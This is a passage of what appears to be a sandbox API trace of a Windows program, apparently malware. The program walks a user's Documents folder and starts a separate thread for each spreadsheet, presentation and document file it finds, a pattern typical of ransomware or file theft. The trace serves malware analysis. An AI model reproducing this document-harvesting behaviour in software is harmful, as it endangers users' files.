nFileSizeLow=0x18146, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRKo1aD4WPdAnCO 5j.csv", cAlternateFileName="IRKO1A~1.CSV")) returned 1 [0090.676] wcscmp (_String1="IRKo1aD4WPdAnCO 5j.csv", _String2=".") returned 1 [0090.676] wcscmp (_String1="IRKo1aD4WPdAnCO 5j.csv", _String2="..") returned 1 [0090.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784d00 [0090.676] wcscpy (in: _Dest=0x1b784d00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.676] wcscat (in: _Dest=0x1b784d00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.676] wcscat (in: _Dest=0x1b784d00, _Source="IRKo1aD4WPdAnCO 5j.csv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IRKo1aD4WPdAnCO 5j.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IRKo1aD4WPdAnCO 5j.csv" [0090.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714 [0090.676] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a4b1430, ftCreationTime.dwHighDateTime=0x1d5df82, ftLastAccessTime.dwLowDateTime=0x4e2f1000, ftLastAccessTime.dwHighDateTime=0x1d5ddf9, ftLastWriteTime.dwLowDateTime=0x4e2f1000, ftLastWriteTime.dwHighDateTime=0x1d5ddf9, nFileSizeHigh=0x0, nFileSizeLow=0x15e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IsW9QCvDeTNZBjfuXE.xlsx", cAlternateFileName="ISW9QC~1.XLS")) returned 1 [0090.677] wcscmp (_String1="IsW9QCvDeTNZBjfuXE.xlsx", _String2=".") returned 1 [0090.677] wcscmp (_String1="IsW9QCvDeTNZBjfuXE.xlsx", _String2="..") returned 1 [0090.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784c70 [0090.677] wcscpy (in: _Dest=0x1b784c70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.677] wcscat (in: _Dest=0x1b784c70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.677] wcscat (in: _Dest=0x1b784c70, _Source="IsW9QCvDeTNZBjfuXE.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IsW9QCvDeTNZBjfuXE.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IsW9QCvDeTNZBjfuXE.xlsx" [0090.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0090.677] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc84a700, ftCreationTime.dwHighDateTime=0x1d580b3, ftLastAccessTime.dwLowDateTime=0x92218ca0, ftLastAccessTime.dwHighDateTime=0x1d5b042, ftLastWriteTime.dwLowDateTime=0x92218ca0, ftLastWriteTime.dwHighDateTime=0x1d5b042, nFileSizeHigh=0x0, nFileSizeLow=0x7b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItHZwt.xlsx", cAlternateFileName="ITHZWT~1.XLS")) returned 1 [0090.678] wcscmp (_String1="ItHZwt.xlsx", _String2=".") returned 1 [0090.678] wcscmp (_String1="ItHZwt.xlsx", _String2="..") returned 1 [0090.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e6b0 [0090.678] wcscpy (in: _Dest=0x1b86e6b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.678] wcscat (in: _Dest=0x1b86e6b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.678] wcscat (in: _Dest=0x1b86e6b0, _Source="ItHZwt.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ItHZwt.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ItHZwt.xlsx" [0090.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0090.679] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa73f50, ftCreationTime.dwHighDateTime=0x1d5e5c0, ftLastAccessTime.dwLowDateTime=0xfd972540, ftLastAccessTime.dwHighDateTime=0x1d5ddc3, ftLastWriteTime.dwLowDateTime=0xfd972540, ftLastWriteTime.dwHighDateTime=0x1d5ddc3, nFileSizeHigh=0x0, nFileSizeLow=0x17045, dwReserved0=0x0, dwReserved1=0x0, cFileName="KIjXPwci-RNR.ots", cAlternateFileName="KIJXPW~1.OTS")) returned 1 [0090.679] wcscmp (_String1="KIjXPwci-RNR.ots", _String2=".") returned 1 [0090.679] wcscmp (_String1="KIjXPwci-RNR.ots", _String2="..") returned 1 [0090.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85ef90 [0090.679] wcscpy (in: _Dest=0x1b85ef90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.679] wcscat (in: _Dest=0x1b85ef90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.679] wcscat (in: _Dest=0x1b85ef90, _Source="KIjXPwci-RNR.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KIjXPwci-RNR.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KIjXPwci-RNR.ots" [0090.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ef90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0090.680] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e4438a0, ftCreationTime.dwHighDateTime=0x1d5611b, ftLastAccessTime.dwLowDateTime=0xf7712050, ftLastAccessTime.dwHighDateTime=0x1d578a9, ftLastWriteTime.dwLowDateTime=0xf7712050, ftLastWriteTime.dwHighDateTime=0x1d578a9, nFileSizeHigh=0x0, nFileSizeLow=0x4b1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="kjCAUtPPwlkZfv5x.pptx", cAlternateFileName="KJCAUT~1.PPT")) returned 1 [0090.680] wcscmp (_String1="kjCAUtPPwlkZfv5x.pptx", _String2=".") returned 1 [0090.680] wcscmp (_String1="kjCAUtPPwlkZfv5x.pptx", _String2="..") returned 1 [0090.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784be0 [0090.680] wcscpy (in: _Dest=0x1b784be0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.680] wcscat (in: _Dest=0x1b784be0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.680] wcscat (in: _Dest=0x1b784be0, _Source="kjCAUtPPwlkZfv5x.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kjCAUtPPwlkZfv5x.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kjCAUtPPwlkZfv5x.pptx" [0090.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0090.681] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449d1af0, ftCreationTime.dwHighDateTime=0x1d5dd95, ftLastAccessTime.dwLowDateTime=0x3803a4d0, ftLastAccessTime.dwHighDateTime=0x1d5e58d, ftLastWriteTime.dwLowDateTime=0x3803a4d0, ftLastWriteTime.dwHighDateTime=0x1d5e58d, nFileSizeHigh=0x0, nFileSizeLow=0x16b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="krInVDzWY8V31uWPS.ods", cAlternateFileName="KRINVD~1.ODS")) returned 1 [0090.681] wcscmp (_String1="krInVDzWY8V31uWPS.ods", _String2=".") returned 1 [0090.681] wcscmp (_String1="krInVDzWY8V31uWPS.ods", _String2="..") returned 1 [0090.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784ac0 [0090.681] wcscpy (in: _Dest=0x1b784ac0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.681] wcscat (in: _Dest=0x1b784ac0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.681] wcscat (in: _Dest=0x1b784ac0, _Source="krInVDzWY8V31uWPS.ods" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\krInVDzWY8V31uWPS.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\krInVDzWY8V31uWPS.ods" [0090.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0090.682] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd565190, ftCreationTime.dwHighDateTime=0x1d5de6d, ftLastAccessTime.dwLowDateTime=0x890f7fa0, ftLastAccessTime.dwHighDateTime=0x1d5e418, ftLastWriteTime.dwLowDateTime=0x890f7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e418, nFileSizeHigh=0x0, nFileSizeLow=0x14806, dwReserved0=0x0, dwReserved1=0x0, cFileName="KT5yvXXVKVr5T.ods", cAlternateFileName="KT5YVX~1.ODS")) returned 1 [0090.682] wcscmp (_String1="KT5yvXXVKVr5T.ods", _String2=".") returned 1 [0090.682] wcscmp (_String1="KT5yvXXVKVr5T.ods", _String2="..") returned 1 [0090.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85f010 [0090.682] wcscpy (in: _Dest=0x1b85f010, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.682] wcscat (in: _Dest=0x1b85f010, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.682] wcscat (in: _Dest=0x1b85f010, _Source="KT5yvXXVKVr5T.ods" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KT5yvXXVKVr5T.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KT5yvXXVKVr5T.ods" [0090.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85f010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0090.683] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf33c0fc0, ftCreationTime.dwHighDateTime=0x1d5e0c0, ftLastAccessTime.dwLowDateTime=0x8530e400, ftLastAccessTime.dwHighDateTime=0x1d5db53, ftLastWriteTime.dwLowDateTime=0x8530e400, ftLastWriteTime.dwHighDateTime=0x1d5db53, nFileSizeHigh=0x0, nFileSizeLow=0x14be3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kw15nEXrTlNBKJglj P.odp", cAlternateFileName="KW15NE~1.ODP")) returned 1 [0090.683] wcscmp (_String1="Kw15nEXrTlNBKJglj P.odp", _String2=".") returned 1 [0090.684] wcscmp (_String1="Kw15nEXrTlNBKJglj P.odp", _String2="..") returned 1 [0090.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784b50 [0090.684] wcscpy (in: _Dest=0x1b784b50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.684] wcscat (in: _Dest=0x1b784b50, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.684] wcscat (in: _Dest=0x1b784b50, _Source="Kw15nEXrTlNBKJglj P.odp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Kw15nEXrTlNBKJglj P.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Kw15nEXrTlNBKJglj P.odp" [0090.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0090.685] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198e8ae0, ftCreationTime.dwHighDateTime=0x1d5dc89, ftLastAccessTime.dwLowDateTime=0x61e8e0a0, ftLastAccessTime.dwHighDateTime=0x1d5e658, ftLastWriteTime.dwLowDateTime=0x61e8e0a0, ftLastWriteTime.dwHighDateTime=0x1d5e658, nFileSizeHigh=0x0, nFileSizeLow=0x1459b, dwReserved0=0x0, dwReserved1=0x0, cFileName="L3RAo.pptx", cAlternateFileName="L3RAO~1.PPT")) returned 1 [0090.685] wcscmp (_String1="L3RAo.pptx", _String2=".") returned 1 [0090.685] wcscmp (_String1="L3RAo.pptx", _String2="..") returned 1 [0090.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86e720 [0090.685] wcscpy (in: _Dest=0x1b86e720, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.685] wcscat (in: _Dest=0x1b86e720, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.685] wcscat (in: _Dest=0x1b86e720, _Source="L3RAo.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L3RAo.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L3RAo.pptx" [0090.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0090.686] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x531a59e0, ftCreationTime.dwHighDateTime=0x1d5e730, ftLastAccessTime.dwLowDateTime=0xac9d83d0, ftLastAccessTime.dwHighDateTime=0x1d5e423, ftLastWriteTime.dwLowDateTime=0xac9d83d0, ftLastWriteTime.dwHighDateTime=0x1d5e423, nFileSizeHigh=0x0, nFileSizeLow=0x5f67, dwReserved0=0x0, dwReserved1=0x0, cFileName="lJphu6b hhRpEnjJ0.ots", cAlternateFileName="LJPHU6~1.OTS")) returned 1 [0090.686] wcscmp (_String1="lJphu6b hhRpEnjJ0.ots", _String2=".") returned 1 [0090.686] wcscmp (_String1="lJphu6b hhRpEnjJ0.ots", _String2="..") returned 1 [0090.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b7849a0 [0090.686] wcscpy (in: _Dest=0x1b7849a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.686] wcscat (in: _Dest=0x1b7849a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.686] wcscat (in: _Dest=0x1b7849a0, _Source="lJphu6b hhRpEnjJ0.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lJphu6b hhRpEnjJ0.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lJphu6b hhRpEnjJ0.ots" [0090.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7849a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8 [0090.687] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f4f6f0, ftCreationTime.dwHighDateTime=0x1d58ea0, ftLastAccessTime.dwLowDateTime=0x86489d00, ftLastAccessTime.dwHighDateTime=0x1d593bf, ftLastWriteTime.dwLowDateTime=0x86489d00, ftLastWriteTime.dwHighDateTime=0x1d593bf, nFileSizeHigh=0x0, nFileSizeLow=0x2fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="lsNhUCTvU.pptx", cAlternateFileName="LSNHUC~1.PPT")) returned 1 [0090.687] wcscmp (_String1="lsNhUCTvU.pptx", _String2=".") returned 1 [0090.687] wcscmp (_String1="lsNhUCTvU.pptx", _String2="..") returned 1 [0090.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85f090 [0090.687] wcscpy (in: _Dest=0x1b85f090, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.687] wcscat (in: _Dest=0x1b85f090, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.687] wcscat (in: _Dest=0x1b85f090, _Source="lsNhUCTvU.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lsNhUCTvU.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lsNhUCTvU.pptx" [0090.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85f090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0090.688] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fad6960, ftCreationTime.dwHighDateTime=0x1d5a28e, ftLastAccessTime.dwLowDateTime=0xd1a9e3a0, ftLastAccessTime.dwHighDateTime=0x1d5ce82, ftLastWriteTime.dwLowDateTime=0xd1a9e3a0, ftLastWriteTime.dwHighDateTime=0x1d5ce82, nFileSizeHigh=0x0, nFileSizeLow=0x9e77, dwReserved0=0x0, dwReserved1=0x0, cFileName="m90Q4.docx", cAlternateFileName="M90Q4~1.DOC")) returned 1 [0090.688] wcscmp (_String1="m90Q4.docx", _String2=".") returned 1 [0090.688] wcscmp (_String1="m90Q4.docx", _String2="..") returned 1 [0090.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86e790 [0090.688] wcscpy (in: _Dest=0x1b86e790, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.688] wcscat (in: _Dest=0x1b86e790, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.688] wcscat (in: _Dest=0x1b86e790, _Source="m90Q4.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m90Q4.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m90Q4.docx" [0090.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0090.689] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d330f0, ftCreationTime.dwHighDateTime=0x1d5dcf2, ftLastAccessTime.dwLowDateTime=0xcae2c500, ftLastAccessTime.dwHighDateTime=0x1d5dcdd, ftLastWriteTime.dwLowDateTime=0xcae2c500, ftLastWriteTime.dwHighDateTime=0x1d5dcdd, nFileSizeHigh=0x0, nFileSizeLow=0x17ed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpT_.ppt", cAlternateFileName="")) returned 1 [0090.689] wcscmp (_String1="mpT_.ppt", _String2=".") returned 1 [0090.689] wcscmp (_String1="mpT_.ppt", _String2="..") returned 1 [0090.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e800 [0090.689] wcscpy (in: _Dest=0x1b86e800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.689] wcscat (in: _Dest=0x1b86e800, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.689] wcscat (in: _Dest=0x1b86e800, _Source="mpT_.ppt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mpT_.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mpT_.ppt" [0090.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8 [0090.690] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0090.690] wcscmp (_String1="My Music", _String2=".") returned 1 [0090.690] wcscmp (_String1="My Music", _String2="..") returned 1 [0090.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e870 [0090.690] wcscpy (in: _Dest=0x1b86e870, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.690] wcscat (in: _Dest=0x1b86e870, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.690] wcscat (in: _Dest=0x1b86e870, _Source="My Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" [0090.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0090.691] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0090.691] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0090.691] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0090.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e8e0 [0090.691] wcscpy (in: _Dest=0x1b86e8e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.691] wcscat (in: _Dest=0x1b86e8e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.691] wcscat (in: _Dest=0x1b86e8e0, _Source="My Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" [0090.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e8e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8 [0090.692] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, 